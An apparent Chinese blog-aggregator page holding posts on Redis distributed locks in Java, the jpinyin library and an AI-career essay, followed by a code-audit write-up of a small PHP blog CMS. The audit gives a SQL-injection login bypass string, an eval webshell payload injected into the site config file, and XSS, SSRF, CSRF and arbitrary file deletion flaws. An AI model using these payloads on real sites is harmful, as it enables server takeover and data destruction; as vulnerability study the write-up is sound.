Quantcast
Channel: IT瘾博客推荐
Viewing all 532 articles
Browse latest View live

Redis分布式锁的正确实现方式(Java版) - 吴大山的博客 | Wudashan Blog

$
0
0

本博客使用第三方开源组件Jedis实现Redis客户端,且只考虑Redis服务端单机部署的场景。

前言

分布式锁一般有三种实现方式:1. 数据库乐观锁;2. 基于Redis的分布式锁;3. 基于ZooKeeper的分布式锁。本篇博客将介绍第二种方式,基于Redis实现分布式锁。虽然网上已经有各种介绍Redis分布式锁实现的博客,然而他们的实现却有着各种各样的问题,为了避免误人子弟,本篇博客将详细介绍如何正确地实现Redis分布式锁。


可靠性

首先,为了确保分布式锁可用,我们至少要确保锁的实现同时满足以下四个条件:

  1. 互斥性。在任意时刻,只有一个客户端能持有锁。
  2. 不会发生死锁。即使有一个客户端在持有锁的期间崩溃而没有主动解锁,也能保证后续其他客户端能加锁。
  3. 具有容错性。只要大部分的Redis节点正常运行,客户端就可以加锁和解锁。
  4. 解铃还须系铃人。加锁和解锁必须是同一个客户端,客户端自己不能把别人加的锁给解了。

代码实现

组件依赖

首先我们要通过Maven引入Jedis开源组件,在pom.xml文件加入下面的代码:

<dependency><groupId>redis.clients</groupId><artifactId>jedis</artifactId><version>2.9.0</version></dependency>

加锁代码

正确姿势

Talk is cheap, show me the code。先展示代码,再带大家慢慢解释为什么这样实现:

public class RedisTool {
    private static final String LOCK_SUCCESS = "OK";
    private static final String SET_IF_NOT_EXIST = "NX";
    private static final String SET_WITH_EXPIRE_TIME = "PX";
    /**
     * 尝试获取分布式锁
     * @param jedis Redis客户端
     * @param lockKey 锁
     * @param requestId 请求标识
     * @param expireTime 超期时间
     * @return 是否获取成功
     */
    public static boolean tryGetDistributedLock(Jedis jedis, String lockKey, String requestId, int expireTime) {
        String result = jedis.set(lockKey, requestId, SET_IF_NOT_EXIST, SET_WITH_EXPIRE_TIME, expireTime);
        if (LOCK_SUCCESS.equals(result)) {
            return true;
        }
        return false;
    }
}

可以看到,我们加锁就一行代码:jedis.set(String key, String value, String nxxx, String expx, int time),这个set()方法一共有五个形参:

  • 第一个为key,我们使用key来当锁,因为key是唯一的。

  • 第二个为value,我们传的是requestId,很多童鞋可能不明白,有key作为锁不就够了吗,为什么还要用到value?原因就是我们在上面讲到可靠性时,分布式锁要满足第四个条件解铃还须系铃人,通过给value赋值为requestId,我们就知道这把锁是哪个请求加的了,在解锁的时候就可以有依据。requestId可以使用UUID.randomUUID().toString()方法生成。

  • 第三个为nxxx,这个参数我们填的是NX,意思是SET IF NOT EXIST,即当key不存在时,我们进行set操作;若key已经存在,则不做任何操作;

  • 第四个为expx,这个参数我们传的是PX,意思是我们要给这个key加一个过期的设置,具体时间由第五个参数决定。

  • 第五个为time,与第四个参数相呼应,代表key的过期时间。

总的来说,执行上面的set()方法就只会导致两种结果:1. 当前没有锁(key不存在),那么就进行加锁操作,并对锁设置个有效期,同时value表示加锁的客户端。2. 已有锁存在,不做任何操作。

心细的童鞋就会发现了,我们的加锁代码满足我们可靠性里描述的三个条件。首先,set()加入了NX参数,可以保证如果已有key存在,则函数不会调用成功,也就是只有一个客户端能持有锁,满足互斥性。其次,由于我们对锁设置了过期时间,即使锁的持有者后续发生崩溃而没有解锁,锁也会因为到了过期时间而自动解锁(即key被删除),不会发生死锁。最后,因为我们将value赋值为requestId,代表加锁的客户端请求标识,那么在客户端在解锁的时候就可以进行校验是否是同一个客户端。由于我们只考虑Redis单机部署的场景,所以容错性我们暂不考虑。

错误示例1

比较常见的错误示例就是使用jedis.setnx()jedis.expire()组合实现加锁,代码如下:

public static void wrongGetLock1(Jedis jedis, String lockKey, String requestId, int expireTime) {
    Long result = jedis.setnx(lockKey, requestId);
    if (result == 1) {
        // 若在这里程序突然崩溃,则无法设置过期时间,将发生死锁
        jedis.expire(lockKey, expireTime);
    }
}

setnx()方法作用就是SET IF NOT EXIST,expire()方法就是给锁加一个过期时间。乍一看好像和前面的set()方法结果一样,然而由于这是两条Redis命令,不具有原子性,如果程序在执行完setnx()之后突然崩溃,导致锁没有设置过期时间。那么将会发生死锁。网上之所以有人这样实现,是因为低版本的jedis并不支持多参数的set()方法。

错误示例2

这一种错误示例就比较难以发现问题,而且实现也比较复杂。实现思路:使用jedis.setnx()命令实现加锁,其中key是锁,value是锁的过期时间。执行过程:1. 通过setnx()方法尝试加锁,如果当前锁不存在,返回加锁成功。2. 如果锁已经存在则获取锁的过期时间,和当前时间比较,如果锁已经过期,则设置新的过期时间,返回加锁成功。代码如下:

public static boolean wrongGetLock2(Jedis jedis, String lockKey, int expireTime) {
    long expires = System.currentTimeMillis() + expireTime;
    String expiresStr = String.valueOf(expires);
    // 如果当前锁不存在,返回加锁成功
    if (jedis.setnx(lockKey, expiresStr) == 1) {
        return true;
    }
    // 如果锁存在,获取锁的过期时间
    String currentValueStr = jedis.get(lockKey);
    if (currentValueStr != null && Long.parseLong(currentValueStr) < System.currentTimeMillis()) {
        // 锁已过期,获取上一个锁的过期时间,并设置现在锁的过期时间
        String oldValueStr = jedis.getSet(lockKey, expiresStr);
        if (oldValueStr != null && oldValueStr.equals(currentValueStr)) {
            // 考虑多线程并发的情况,只有一个线程的设置值和当前值相同,它才有权利加锁
            return true;
        }
    }
    // 其他情况,一律返回加锁失败
    return false;
}

那么这段代码问题在哪里?1. 由于是客户端自己生成过期时间,所以需要强制要求分布式下每个客户端的时间必须同步。 2. 当锁过期的时候,如果多个客户端同时执行jedis.getSet()方法,那么虽然最终只有一个客户端可以加锁,但是这个客户端的锁的过期时间可能被其他客户端覆盖。3. 锁不具备拥有者标识,即任何客户端都可以解锁。

解锁代码

正确姿势

还是先展示代码,再带大家慢慢解释为什么这样实现:

public class RedisTool {
    private static final Long RELEASE_SUCCESS = 1L;
    /**
     * 释放分布式锁
     * @param jedis Redis客户端
     * @param lockKey 锁
     * @param requestId 请求标识
     * @return 是否释放成功
     */
    public static boolean releaseDistributedLock(Jedis jedis, String lockKey, String requestId) {
        String script = "if redis.call('get', KEYS[1]) == ARGV[1] then return redis.call('del', KEYS[1]) else return 0 end";
        Object result = jedis.eval(script, Collections.singletonList(lockKey), Collections.singletonList(requestId));
        if (RELEASE_SUCCESS.equals(result)) {
            return true;
        }
        return false;
    }
}

可以看到,我们解锁只需要两行代码就搞定了!第一行代码,我们写了一个简单的Lua脚本代码,上一次见到这个编程语言还是在《黑客与画家》里,没想到这次居然用上了。第二行代码,我们将Lua代码传到jedis.eval()方法里,并使参数KEYS[1]赋值为lockKey,ARGV[1]赋值为requestId。eval()方法是将Lua代码交给Redis服务端执行。

那么这段Lua代码的功能是什么呢?其实很简单,首先获取锁对应的value值,检查是否与requestId相等,如果相等则删除锁(解锁)。那么为什么要使用Lua语言来实现呢?因为要确保上述操作是原子性的。关于非原子性会带来什么问题,可以阅读【解锁代码-错误示例2】。那么为什么执行eval()方法可以确保原子性,源于Redis的特性,下面是官网对eval命令的部分解释:

简单来说,就是在eval命令执行Lua代码的时候,Lua代码将被当成一个命令去执行,并且直到eval命令执行完成,Redis才会执行其他命令。

错误示例1

最常见的解锁代码就是直接使用jedis.del()方法删除锁,这种不先判断锁的拥有者而直接解锁的方式,会导致任何客户端都可以随时进行解锁,即使这把锁不是它的。

public static void wrongReleaseLock1(Jedis jedis, String lockKey) {
    jedis.del(lockKey);
}

错误示例2

这种解锁代码乍一看也是没问题,甚至我之前也差点这样实现,与正确姿势差不多,唯一区别的是分成两条命令去执行,代码如下:

public static void wrongReleaseLock2(Jedis jedis, String lockKey, String requestId) {
    // 判断加锁与解锁是不是同一个客户端
    if (requestId.equals(jedis.get(lockKey))) {
        // 若在此时,这把锁突然不是这个客户端的,则会误解锁
        jedis.del(lockKey);
    }
}

如代码注释,问题在于如果调用jedis.del()方法的时候,这把锁已经不属于当前客户端的时候会解除他人加的锁。那么是否真的有这种场景?答案是肯定的,比如客户端A加锁,一段时间之后客户端A解锁,在执行jedis.del()之前,锁突然过期了,此时客户端B尝试加锁成功,然后客户端A再执行del()方法,则将客户端B的锁给解除了。


总结

本文主要介绍了如何使用Java代码正确实现Redis分布式锁,对于加锁和解锁也分别给出了两个比较经典的错误示例。其实想要通过Redis实现分布式锁并不难,只要保证能满足可靠性里的四个条件。互联网虽然给我们带来了方便,只要有问题就可以google,然而网上的答案一定是对的吗?其实不然,所以我们更应该时刻保持着质疑精神,多想多验证。

如果你的项目中Redis是多机部署的,那么可以尝试使用Redisson实现分布式锁,这是Redis官方提供的Java组件,链接在参考阅读章节已经给出。


参考阅读

[1] Distributed locks with Redis

[2] EVAL command

[3] Redisson



用jpinyin实现汉字转拼音功能 - developer_Kale - 博客园

$
0
0

 

一、简介

项目地址:https://github.com/stuxuhai/jpinyin

JPinyin是一个汉字转拼音的Java开源类库,在PinYin4j的功能基础上做了一些改进。

【JPinyin主要特性】

1、准确、完善的字库;

Unicode编码从4E00-9FA5范围及3007(〇)的20903个汉字中,JPinyin能转换除46个异体字(异体字不存在标准拼音)之外的所有汉字;

2、拼音转换速度快;

经测试,转换Unicode编码从4E00-9FA5范围的20902个汉字,JPinyin耗时约100毫秒。

3、多拼音格式输出支持;

JPinyin支持多种拼音输出格式:带音标、不带音标、数字表示音标以及拼音首字母输出格式;

4、常见多音字识别;

JPinyin支持常见多音字的识别,其中包括词组、成语、地名等;

5、简繁体中文转换

 

Jpinyin里面一共有四个类:

  • ChineseHelper.java     汉字简繁体转换类
  • PinyinFormat.java         拼音格式类
  • PinyinHelper.java          汉字转拼音类
  • PinyinResource.java    资源文件加载类

 

二、主要方法介绍

2.1 convertToPinyinString(Stringstr,Stringseparator)

/*** 将字符串转换成相应格式的拼音
 *@paramstr 需要转换的字符串
 *@paramseparator 拼音分隔符
 *@return字符串的拼音*/publicstaticString convertToPinyinString(String str, String separator, PinyinFormat pinyinFormat)

结果:

      String words = "和气生财";finalString separator = " ";//hé qì shēng cái (默认格式)PinyinHelper.convertToPinyinString(words, separator);

 

2.2 convertToPinyinString(String str, String separator, PinyinFormat pinyinFormat)

/**

 * 将字符串转换成相应格式的拼音

 * @param str 需要转换的字符串

 * @param separator 拼音分隔符

 * @param pinyinFormat 拼音格式:WITH_TONE_NUMBER--数字代表声调,WITHOUT_TONE--不带声调,WITH_TONE_MARK--带声调

 * @return 字符串的拼音

 */

public static String convertToPinyinString(String str, String separator, PinyinFormat pinyinFormat)

结果:

   String str = "你好世界";

PinyinHelper.convertToPinyinString(str,
",", PinyinFormat.WITH_TONE_MARK);//nǐ,hǎo,shì,jièPinyinHelper.convertToPinyinString(str, ",", PinyinFormat.WITH_TONE_NUMBER);//ni3,hao3,shi4,jie4PinyinHelper.convertToPinyinString(str, ",", PinyinFormat.WITHOUT_TONE);//ni,hao,shi,jie

 

2.3 getShortPinyin(String str)

/*** 获取字符串对应拼音的首字母
 *@paramstr 需要转换的字符串
 *@return对应拼音的首字母*/publicstaticString getShortPinyin(String str)

结果:

String str = "你好世界";PinyinHelper.getShortPinyin(str);//nhsj

 

2.4 convertToPinyinArray(char c)
/*** 将单个汉字转换为相应格式的拼音
 *@paramc 需要转换成拼音的汉字
 *@return汉字的拼音*/publicstaticString[] convertToPinyinArray(charc)

结果:

String words = "和气生财";


//
hé hè huó huò húpinyins = PinyinHelper.convertToPinyinArray(words.toCharArray()[0]);

 

2.5 convertToPinyinArray(char c,PinyinFormatpinyinFormat)

/*** 将单个汉字转换为相应格式的拼音
 *@paramc 需要转换成拼音的汉字
 *@parampinyinFormat 拼音格式:WITH_TONE_NUMBER--数字代表声调,WITHOUT_TONE--不带声调,WITH_TONE_MARK--带声调
 *@return汉字的拼音*/publicstaticString[] convertToPinyinArray(charc, PinyinFormat pinyinFormat)

结果:

String words = "和气生财";


//
hé hè huó huò húpinyins = PinyinHelper.convertToPinyinArray(words.toCharArray()[0], PinyinFormat.WITH_TONE_MARK);

 

2.6 hasMultiPinyin(char c)

/*** 判断一个汉字是否为多音字
 *@paramc 汉字
 *@return判断结果,如果是返回true,否则返回false*/publicstaticbooleanhasMultiPinyin(charc)

结果:

 //falseprintln(PinyinHelper.hasMultiPinyin('李'));

 

 

源码下载:

 

大部分内容参考自:http://blog.csdn.net/ekeuy/article/details/40079475?utm_source=tuicool

 

AI大行其道,你准备好了吗?—谨送给徘徊于转行AI的程序员 - JeemyJohn的博客 - CSDN博客

$
0
0

前言

  近年来,随着 Google 的 AlphaGo 打败韩国围棋棋手李世乭之后,机器学习尤其是深度学习的热潮席卷了整个IT界。所有的互联网公司,尤其是 Google 微软,百度,腾讯等巨头,无不在布局人工智能技术和市场。百度,腾讯,阿里巴巴,京东,等互联网巨头甚至都在美国硅谷大肆高薪挖掘人工智能人才。现在在北京,只要是机器学习算法岗位,少则月薪 20k,甚至100k 以上……

  不错,新时代时代来了,我们从互联网走向移动互联网,现在又从移动互联网走向人工智能时代。业内有人称这一次的人工智能爆发是互联网3.0时代的开启。所以现在搞IT开发的工程师的不懂机器学习,就相当于低级程序员。赶紧从基础学起,入门机器学习,走进人工智能的大门……



这里写图片描述


1、人工智能的三起三落

  20世纪50-70年代,人工智能提出后,力图模拟人类智慧,但是由于过分简单的算法、匮乏的难以应对不确定环境的理论,以及计算能力的限制,逐渐冷却。

  

  20世纪80年代,人工智能的关键应用——专家系统得以发展,但是数据较少,难以捕捉专家的隐性知识,建造和维护大型系统的复杂性和成本也使得人工智能渐渐不被主流计算机科学所重视。

  

  进入20世纪90年代,神经网络、遗传算法等科技“进化”出许多解决问题的最佳方案,于是21世纪前10年,复兴人工智能研究进程的各种要素,例如摩尔定律、大数据、云计算和新算法等,推动人工智能在20世界20年代进入快速增长时期。预计未来十年,会在一些难以逾越的困惑中迎来奇点时代的爆发式增长。

2、新浪潮为什么会崛起

  人工智能(AI)问世之初曾经狂妄自大、令人失望,它如何突然变成当今最热门的技术领域?这个词语首次出现在1956年的一份研究计划书中。该计划书写道:“只要精心挑选一群科学家,让他们一起研究一个夏天,就可以取得重大进展,使机器能够解决目前只有人类才能解决的那些问题。”至少可以说,这种看法过于乐观。尽管偶有进步,但AI在人们心目中成为了言过其实的代名词,以至于研究人员基本上避免使用这个词语,宁愿用“专家系统”或者“神经网络”代替。“AI”的平反和当前的热潮可追溯到2012年的ImageNet Challenge在线竞赛。

  ImageNet是一个在线数据库,包含数百万张图片,全部由人工标记。每年一度的ImageNet Challenge竞赛旨在鼓励该领域的研究人员比拼和衡量他们在计算机自动识别和标记图像方面的进展。他们的系统首先使用一组被正确标记的图像进行训练,然后接受挑战,标记之前从未见过的测试图像。在随后的研讨会上,获胜者分享和讨论他们的技术。2010年,获胜的那个系统标记图像的准确率为72%(人类平均为95%)。2012年,多伦多大学教授杰夫·辛顿(Geoff Hinton)领导的一支团队凭借一项名为“深度学习”的新技术大幅提高了准确率,达到85%。后来在2015年的ImageNet Challenge竞赛中,这项技术使准确率进一步提升至96%,首次超越人类。



这里写图片描述


  不错,这一切都归功于一个概念:“深度学习(Deep Learning)”。虽然2016年之前,深度学习技术已经火了起来,但是真正大爆发的事件却是2016年Google在韩国首尔举行的人工智能机器人AlphaGo与围棋九段选手李世石之间的人机五翻棋大战,最终人类最强选手输给了机器人。曾几时何,人们认为围棋是人类棋牌类游戏的最后的尊严阵地,就这样在人工智能轻松地攻陷了人类智力的最后一块阵地!这件事震惊了所有人。从这以后,全球学术界和工业界都躁动了,巨头们都在加紧布局人工智能:Google挖来了神经网络算法的奠基人、深度学习之父 Geoffrey Hinton;Facebook则挖到了Hinton的学生,卷积神经网络(CNN)的奠基人Yann LeCun;然而就在不到一年的时间,微软也是说动了一直保持中立留在学术界的深度学习领域三大牛的最后一位Yoshua Bengio。当然,国内的互联网巨头,百度、阿里、腾讯、京东、滴滴、美团等也都在布局AI。其中百度更是被认为在AI上已经All In了。



这里写图片描述



深度神经网络(DNN)


3、机器学习是你必经之路

  入门AI,机器学习是必须要学习的,可以这么说:机器学习是人工智能的基石和精髓。只有学好了机器学习算法原理和思想,你才算真正的入门人工智能。但是,对于非专业的半路出家的你们该如何入门?这个问题其实很难回答,因为每个人的目标不一样,技术基础和数学基础也都不一样,所以因人而异。但是通常来说,学习机器学习算法,需要的必备知识还是可以罗列的。

3.1 机器学习必备基础

这里写图片描述
机器学习的学习过程


  对于上图,之所以最左边写了『数学基础』『经典算法学习』『编程技术』三个并行的部分,是因为机器学习是一个将数学、算法理论和工程实践紧密结合的领域,需要扎实的理论基础帮助引导数据分析与模型调优,同时也需要精湛的工程开发能力去高效化地训练和部署模型和服务。

  在互联网领域从事机器学习的人基本上属于以下两种背景:其中绝大部分是程序员出身,这类童鞋工程经验相对会多一些;另一部分是学数学统计领域的,这部分童鞋理论基础相对扎实一些。因此对比上图,这二类童鞋入门机器学习,所欠缺和需要加强的部分是不一样的。

3.1.1 关于数学

   曾经有无数的满怀激情,誓要在机器学习领域有一番作为的同学,在看到公式的一刻突然就觉得自己狗带了。是的,机器学习之所以门槛高并且显得高大上的主要原因就是数学。每一个算法,要在训练集上最大程度拟合同时又保证泛化能力,需要不断分析结果和数据,调优参数,这需要我们对数据分布和模型底层的数学原理有一定的理解。所幸的是如果只是想合理应用机器学习,而不是做相关方向高精尖的研究,所需要的数学知识读完本科的理工科童鞋还是能很容易的把这些数学知识学明白的。

   基本所有常见机器学习算法需要的数学基础,都集中在微积分、线性代数和概率与统计当中。下面我们先过一过知识重点,文章的后部分会介绍一些帮助学习和巩固这些知识的资料。

  • 微积分

       微分的计算及其几何、物理含义,是机器学习中大多数算法的求解过程的核心。比如算法中运用到梯度下降法、牛顿法等。如果对其几何意义有充分的理解,就能理解“梯度下降是用平面来逼近局部,牛顿法是用曲面逼近局部”,能够更好地理解运用这样的方法。

      凸优化和条件最优化的相关知识在算法中的应用随处可见,如果能有系统的学习将使得你对算法的认识达到一个新高度。

这里写图片描述
梯度下降法示意图

  • 线性代数

       大多数机器学习的算法要应用起来,依赖于高效的计算,这种场景下,程序员童鞋们习惯的多层for循环通常就行不通了,而大多数的循环操作可转化成矩阵之间的乘法运算,这就和线性代数有莫大的关系了。向量的内积运算更是随处可见。矩阵乘法与分解在机器学习的主成分分析(PCA)和奇异值分解(SVD) 等部分呈现刷屏状地出现。

      

    enter image description here


    奇异值分解过程示意图


       在机器学习领域,有相当多的应用与奇异值分解都有非常紧密的联系,比如机器学习中常做feature reduction的PCA,做数据压缩(以图像压缩为代表)的算法,还有做搜索引擎语义层次检索的LSI(Latent Semantic Indexing)

  • 概率与统计

       从广义来说,机器学习在做的很多事情,和统计层面数据分析和发掘隐藏的模式,是非常类似的。以至于传统的机器学习很大一部分被称作统计学习理论,这充分说明了统计学在机器学习领域的重要性。

      极大似然思想、贝叶斯模型是理论基础,朴素贝叶斯(NaiveBayes)、语言模型(Ngram)、隐马尔科夫(HMM)、隐变量混合概率模型是他们的高级形态。常见分布如高斯分布是混合高斯模型(GMM)等的基础。

enter image description here


朴素贝叶斯算法的基本原理

3.1.2 经典算法的学习

  机器学习中有很多的经典算法:感知机KNN朴素贝叶斯K-MeansSVMAdaBoostEM决策树随机森林GDBTHMM……

  算法这么多,那么对于初学者应该怎么学习呢?我的答案是:分门别类很重要。基本上,对机器学习算法的分类普遍的观点是分为三大类:有监督学习无监督学习强化学习

  • 有监督学习

      有监督学习是指进行训练的数据包含两部分信息:特征向量 + 类别标签。也就是说,他们在训练的时候每一个数据向量所属的类别是事先知道的。在设计学习算法的时候,学习调整参数的过程会根据类标进行调整,类似于学习的过程中被监督了一样,而不是漫无目标地去学习,故此得名。下图中,不同颜色的点代表不同的类别,直线就是我们学习出来的分界面(也叫学习器分类器)。

这里写图片描述


典型的有监督学习

  • 无监督学习

      相对于有监督而言,无监督方法的训练数据没有类标,只有特征向量。甚至很多时候我们都不知道总共的类别有多少个。因此,无监督学习就不叫做分类,而往往叫做聚类。就是采用一定的算法,把特征性质相近的样本聚在一起成为一类。

      K-Means算法就是一个无监督学习算法,在它执行前数据是每有类标的,执行过程中才会有类标,但是此时类标不固定,只有当聚类完成后每个样本的类标才能固定。如下图所示就是无监督算法的执行过程。

这里写图片描述
K-Means算法聚类过程

  • 强化学习

      所谓强化学习就是智能系统从环境到行为映射的学习,以使奖励信号(强化信号)函数值最大,强化学习不同于连接主义学习中的监督学习,主要表现在教师信号上,强化学习中由环境提供的强化信号是对产生动作的好坏作一种评价(通常为标量信号),而不是告诉强化学习系统RLS(reinforcement learning system)如何去产生正确的动作。由于外部环境提供的信息很少,RLS必须靠自身的经历进行学习。通过这种方式,RLS在行动-评价的环境中获得知识,改进行动方案以适应环境。

      本文是一个教你入门的方法,只是带你领略了解机器学习的大致框架。不会介绍具体的算法的详细原理与过程,所以想要深入了解可以查看相关书籍或者文献。对于具体的算法属于哪一类,并且为什么这么划分,请读者认真学习相关的机器学习教程。

3.1.3 编程技术

  对于编程技术学习和选择,无非就是编程语言开发环境。我个人的建议是Python+PyCharm。原因很简单,python简单易学,不至于让我们把太多的时间花在语言的学习上(PS:学习机器学习的重点在于各个机器学习算法理论的学习和掌握)。并且Jetbrains公司开发的Python集成开发环境PyCharm也是非常的简单易用。

这里写图片描述


Python与PyCharm

4、你是否真的准备好了?

  说完了机器学习的入门过程,我得给大家泼点冷水。虽然说目前AI真的很火热,就在刚刚,我写累了休息看新闻的时候就有新闻推送给我:商汤科技B轮融资4.5亿美元。这场革命是机遇,但是它真的适合你吗?我可以很肯定的说,并不是所有人都适合转行AI。

  

下面是的总结,想转行的人可以自我对照:

  1. 如果你天生感觉学习数学很吃力,并且代码能力很一般的人。我可以很负责人的告诉你,转行AI,学习机器学习算法将会是你人生的灾难。对于这类猿友你一定不能转行AI;

  2. 如果你数学一般,但是编程能力非常好,你曾经有着用代码改变世界的雄心。对于这一类猿友,我觉得你转行也行,但是你一定要走应用化的AI道路。因为数学是你的天花板,你注定成不了Hinton那样的学术大牛;

  3. 如果你数学很好,但是编程薄弱。恭喜你,你具备了转行AI的先天优势。对于这类猿友,我觉得你可以转行AI,但是你得努力把编程水平提上来。

  4. 如果你数学很牛,曾经与菲尔兹奖擦肩而过,曾经给Apache顶级项目贡献N万行核心代码。恭喜你,AI领域需要的就是你,你就是未来的Hinton吴恩达……

- - -AI大行其道,你准备好了吗?





对机器学习,人工智能感兴趣的小伙伴,请关注我的公众号:

这里写图片描述


参考文献:

  1. 李航. 统计学习方法[M]. 清华大学出版社, 2012.
  2. 周志华. 机器学习 : = Machine learning[M]. 清华大学出版社, 2016.
  3. 机器学习(三)常见算法优缺点

浅谈代码审计入门实战:某博客系统最新版审计之旅

$
0
0

第一次正式的审一次CMS,虽然只是一个很小的博客系统(提交都不一定收的那种),漏洞也都很简单,但是也算是积累了不少经验,所以最后想来还是在此做个分享,博客系统的CMS就不说了,毕竟有个官网挂着。。。缘起某日翻阅某朋友博客的时候无意间发现有个小型的CMS,反正暑假闲的无聊就去审了一下代码(正好拿来练练手),问题挺严重的,好多参数都没有进行过滤,光注入就有好多处,因为文章篇幅有限,这里就不一一列举了,这里只把我找到的漏洞中每类最典型的剖析一下。

身份验证漏洞

首先一上来就是一个很简单的洞,后台就可以万能密码绕过,问题出在这里 ad/login.php先看代码

function jsloginpost(){ global $tabhead; global $txtchk; @$user=$_POST["user"]; @$psw=$_POST["psw"];$psw = authcode(@$psw, 'ENCODE', 'key',0);  @$loginlong=$_POST["loginlong"];  setcookie("lggqsj",date('Y-m-d H:i:s',time()+$loginlong), time()+60*60*24,"/; HttpOnly" , "",'');  $tab=$tabhead."adusers"; $chk=" where adnaa='".$user."' and adpss='".$psw."' "; mysql_select_db($tab); $sql = mysql_query("select * from ".$tab.$chk);

这里我们并没有对POST和GET参数进行过滤(一开始我还以为定义了全局过滤,结果找了半天没找到,发现根本就没有过滤)所以登陆可以直接万能密码绕过

username=qweq' or 1=1# password=123

任意文件修改导致getshell

进了后台以后我们先大致浏览一下功能,发现这里有个修改站点信息的功能,进入后台找到相应的 setconfig.php我们先看一下大致的表单提交格式

<?function save(){ global $root,$dbuser,$dbpsw,$dbname,$tabhead,$webname,$webkeywords,$webinfo,$weburl,$webauthor,$webbegindate,$pagenum,$cachepath,$date,$starttime,$themepath,$artpath,$tagpath; $file="../cmsconfig.php"; $text = file_get_contents($file); $text2=$text; $text2=str_replace('"'.$weburl.'"','"'.$_POST[1].'"',$text2); $text2=str_replace('"'.$webbegindate.'"','"'.$_POST[2].'"',$text2); $text2=str_replace('"'.$webname.'"','"'.$_POST[3].'"',$text2); $text2=str_replace('"'.$webkeywords.'"','"'.$_POST[4].'"',$text2); $text2=str_replace('"'.$webinfo.'"','"'.$_POST[5].'"',$text2); $text2=str_replace('"'.$webauthor.'"','"'.$_POST[6].'"',$text2); $text2=str_replace('"'.$artpath.'"','"'.$_POST[7].'"',$text2); $text2=str_replace('"'.$tagpath.'"','"'.$_POST[8].'"',$text2); $text2=str_replace('"'.$cachepath.'"','"'.$_POST[9].'"',$text2); ?>

这里我们我们可以很容易发现它对我们的输入并没有进行任何过滤就直接替换了原文件的内容,我们追踪到源文件

浅谈代码审计入门实战:某博客系统最新版审计之旅

所以我们可以构造一句话插入

";@eval($_POST['cmd']);/*

浅谈代码审计入门实战:某博客系统最新版审计之旅

然后用菜刀链接 cmsconfig.php文件

XSS

既然是博客系统,那么最重要的一定是发布文章的模块,所以我们跟进去看一下,问题出在 art.php先大致看一下代码有无过滤

添加文章

<?php  function addart(){ $_SESSION['jdate']='';$_SESSION['jid']=''; global $webauthor,$date,$weburl; global $tabhead; $title=$_GET['title']; $content=$_GET['content']; ?>

这里乍一看是没有进行过滤的,接着找一下表单结构

<div id=addart_left> <span id="jieguo"></span> <form id="frm" name="frm" method="post" action="?g=editsave" > <input name=id type=hidden value="<?=$id?>" > <p><input  style="width:400px" type=text name=title value="<?=$title?>" >文章标题,严禁特殊符号</p> <p><input  style="width:400px"  name=htmlname type=text value="<?=$htmlname?>" >html别名,静态目录,严禁特殊符号</p>  <p ><input  style="width:400px;"  type=text name=pic id=pic_txt value="<?=$pic?>" title="您可在这里直接输入图片地址如http://www.axublog.com/logo.jpg" onchange="changepic2()" >填写缩略图网址   </p>  <p><textarea id="content" name="content" style="width:670px;height:380px;visibility:hidden;"><?=htmlspecialchars($content);?></textarea></p> </div>

这里对$content编码进行了标签转义,检查了一下输出点后发现绕不过,想到试试别的参数,于是找到了 tags参数添加文章的函数的确没有过率,然而到保存页面的时候发现存在问题,作者自己定义了一个过滤函数

$tags=$_POST['tags'];if($tags==''){$tags=$_SESSION['tags'];} $tags=htmlnameguolv($tags);

跟进去过滤函数

function htmlnameguolv($str){ $str = str_replace('`', '', $str);     $str = str_replace('·', '', $str);     $str = str_replace('~', '', $str);     $str = str_replace('!', '', $str);     $str = str_replace('!', '', $str);     $str = str_replace('@', '', $str);     $str = str_replace('#', '', $str);     $str = str_replace('$', '', $str);     $str = str_replace('¥', '', $str);     $str = str_replace('%', '', $str);     $str = str_replace('^', '', $str);     $str = str_replace('……', '', $str);     $str = str_replace('&', '', $str);     $str = str_replace('*', '', $str);     $str = str_replace('(', '', $str);     $str = str_replace(')', '', $str);     $str = str_replace('(', '', $str);     $str = str_replace(')', '', $str);     $str = str_replace('——', '', $str);     $str = str_replace('+', '', $str);     $str = str_replace('=', '', $str);     $str = str_replace('|', ',', $str);     $str = str_replace('//', '', $str);     $str = str_replace('[', '', $str);     $str = str_replace(']', '', $str);     $str = str_replace('【', '', $str);     $str = str_replace('】', '', $str);     $str = str_replace('{', '', $str);     $str = str_replace('}', '', $str);     $str = str_replace(';', '', $str);     $str = str_replace(';', '', $str);     $str = str_replace(':', '', $str);     $str = str_replace(':', '', $str);     $str = str_replace('/'', '', $str);     $str = str_replace('"', '', $str);     $str = str_replace('“', '', $str);     $str = str_replace('”', '', $str);     $str = str_replace(',', ',', $str);     $str = str_replace('<', '', $str);     $str = str_replace('>', '', $str);     $str = str_replace('《', '', $str);     $str = str_replace('》', '', $str);     $str = str_replace('.', '', $str);     $str = str_replace('。', '', $str);     $str = str_replace('/', '', $str);     $str = str_replace('、', '', $str);     $str = str_replace('?', '', $str);     $str = str_replace('?', '', $str); return $str; }

写了一堆替换,也没想到啥绕过方法,然后又换了另一个参数 title这回发现这个参数并没有进行过滤,这是在输入的时候给了个不要输入特殊字符的警告。

浅谈代码审计入门实战:某博客系统最新版审计之旅

前台查看文章

当然这里也是存在二次注入的

SSRF

问题处在 /go/index.php,关键代码如下

<?php   $u=$_GET['u']; $u=strtolower($u);   $u='http://'.str_replace('http://','',$u);    ?> <script>location.href="<?=$u?>"</script>

u是我们可控的参数,也是一个地址,我们可以直接传入一个内网地址,实现主机发现或者端口扫描

CSRF

问题出在 /ad/admin.php,关键代码如下

<?function add(){?> <ul> <li><a  target="main" href='right.php'><b>您的位置:后台首页</b></a> > <a  target="main" href='admin.php'><b>管理员列表</b></a> >  <a  target="main" href='admin.php?g=add'><b>添加管理员</b></a> </li> </ul> </div> <div id=adform> <form id="frm" action="?g=addsave" method="post"> <p><input id=text type="text" name="ad_user" size=20 value="">请输入帐号</p> <p><input id=text type="password" name="ad_psw" size=20 value="">请输入密码</p>  <p><input id=text type="password" name="ad_psw2" size=20 value="">重新输入密码</p>  <p><button id="send" onclick=submit() >添加</button></p> </form> </div> <?}?>

这里并没有做相应的token认证所以可能存在csrf漏洞,我们用burp截包

浅谈代码审计入门实战:某博客系统最新版审计之旅

这里有个小技巧可以直接用burp直接生成csrf钓鱼页面完成后丢弃这个包,我们先看我们的管理员有几个

点击html页面的提交

浅谈代码审计入门实战:某博客系统最新版审计之旅

再后来看我们的管理员

任意文件删除

问题处在 /app/dbbackup/index.php中关键代码如下

if($g=='del'){ $p=$_REQUEST['p']; if($p==''){echo '<script>alert("文件名为空,无法删除!");location.href="?"</script>';} unlink($p);

